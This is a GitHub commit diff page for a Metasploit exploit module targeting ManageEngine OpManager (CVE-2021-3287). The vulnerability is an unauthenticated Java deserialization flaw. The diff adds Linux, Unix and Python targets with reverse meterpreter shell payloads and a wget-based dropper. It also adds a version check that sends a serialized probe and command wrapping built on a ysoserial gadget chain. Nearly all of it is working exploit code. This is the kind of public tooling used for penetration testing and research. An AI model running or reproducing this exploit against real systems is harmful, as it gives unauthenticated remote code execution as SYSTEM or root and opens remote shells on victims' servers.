Skip to content

Commit 3986707

Browse files
committed
Add and test the remaining targets
1 parent d640866 commit 3986707

1 file changed

Lines changed: 73 additions & 14 deletions

File tree

modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb

Lines changed: 73 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -17,13 +17,19 @@ def initialize(info = {})
1717
info,
1818
'Name' => 'ManageEngine OpManager SumPDU Java Deserialization',
1919
'Description' => %q{
20+
An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to
21+
deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS
22+
commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This
23+
vulnerability is also present in other products that are built on top of the OpManager application.
2024
},
2125
'Author' => [
22-
'Spencer McIntyre', # Metasploit module
26+
'Johannes Moritz', # Original Vulnerability Research
27+
'Robin Peraglie', # Original Vulnerability Research
28+
'Spencer McIntyre' # Metasploit module
2329
],
2430
'License' => MSF_LICENSE,
25-
'Platform' => 'win',
26-
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
31+
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
32+
'Platform' => [ 'win', 'linux', 'python', 'unix' ],
2733
'References' => [
2834
[ 'CVE', '2021-3287' ],
2935
[ 'URL', 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ]
@@ -34,6 +40,7 @@ def initialize(info = {})
3440
'Windows Command',
3541
{
3642
'Arch' => ARCH_CMD,
43+
'Platform' => 'win',
3744
'Type' => :win_cmd,
3845
'DefaultOptions' => {
3946
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
@@ -44,22 +51,54 @@ def initialize(info = {})
4451
'Windows Dropper',
4552
{
4653
'Arch' => [ARCH_X86, ARCH_X64],
54+
'Platform' => 'win',
4755
'Type' => :win_dropper,
48-
# 'CmdStagerFlavor' => :certutil, # This works without issue
4956
'DefaultOptions' => {
5057
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
5158
}
5259
}
5360
],
5461
[
55-
'PowerShell Stager',
62+
'Windows PowerShell',
5663
{
5764
'Arch' => [ARCH_X86, ARCH_X64],
58-
'Type' => :psh_stager,
65+
'Platform' => 'win',
66+
'Type' => :win_psh,
5967
'DefaultOptions' => {
6068
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
6169
}
6270
}
71+
],
72+
[
73+
'Unix Command',
74+
{
75+
'Arch' => ARCH_CMD,
76+
'Platform' => 'unix',
77+
'Type' => :nix_cmd
78+
}
79+
],
80+
[
81+
'Linux Dropper',
82+
{
83+
'Arch' => [ARCH_X86, ARCH_X64],
84+
'Platform' => 'linux',
85+
'Type' => :nix_dropper,
86+
'DefaultOptions' => {
87+
'CMDSTAGER::FLAVOR' => 'wget',
88+
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
89+
}
90+
}
91+
],
92+
[
93+
'Python',
94+
{
95+
'Arch' => ARCH_PYTHON,
96+
'Platform' => 'python',
97+
'Type' => :python,
98+
'DefaultOptions' => {
99+
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
100+
}
101+
}
63102
]
64103
],
65104
'DefaultOptions' => {
@@ -81,8 +120,17 @@ def initialize(info = {})
81120
end
82121

83122
def check
84-
# TODO: write this
85-
return Exploit::CheckCode::Unknown
123+
res = send_request_cgi({
124+
'method' => 'POST',
125+
'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'),
126+
# Serialized int 1002
127+
'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b
128+
})
129+
return Exploit::CheckCode::Unknown unless res
130+
# the patched version will respond back with 200 OK and no data in the response body
131+
return Exploit::CheckCode::Safe unless res.code == 200 && res.body.start_with?("\xac\xed\x00\x05".b)
132+
133+
Exploit::CheckCode::Appears
86134
end
87135

88136
def exploit
@@ -111,25 +159,36 @@ def exploit
111159

112160
# Step 3: Exploit the deserialization vulnerability to run commands
113161
case target['Type']
114-
when :win_cmd
115-
execute_command(payload.encoded)
162+
when :nix_dropper
163+
execute_cmdstager
116164
when :win_dropper
117165
execute_cmdstager
118-
when :psh_stager
166+
when :win_psh
119167
execute_command(cmd_psh_payload(
120168
payload.encoded,
121169
payload.arch.first,
122170
remove_comspec: true
123171
))
172+
else
173+
execute_command(payload.encoded)
124174
end
125175
end
126176

127177
def execute_command(cmd, _opts = {})
128-
vprint_status("Executing command: #{cmd}")
129-
130178
# the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the
131179
# dependency on the commons-collections library making it usable in this context
132-
java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', "cmd.exe /c #{cmd}")
180+
case target['Platform']
181+
when 'python'
182+
cmd.prepend('python -c ')
183+
when 'win'
184+
cmd.prepend('cmd.exe /c ')
185+
else
186+
cmd.gsub!(/\s+/, '${IFS}')
187+
cmd.prepend('sh -c ')
188+
end
189+
190+
vprint_status("Executing command: #{cmd}")
191+
java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd)
133192

134193
res = send_request_cgi({
135194
'method' => 'POST',

0 commit comments

Comments
 (0)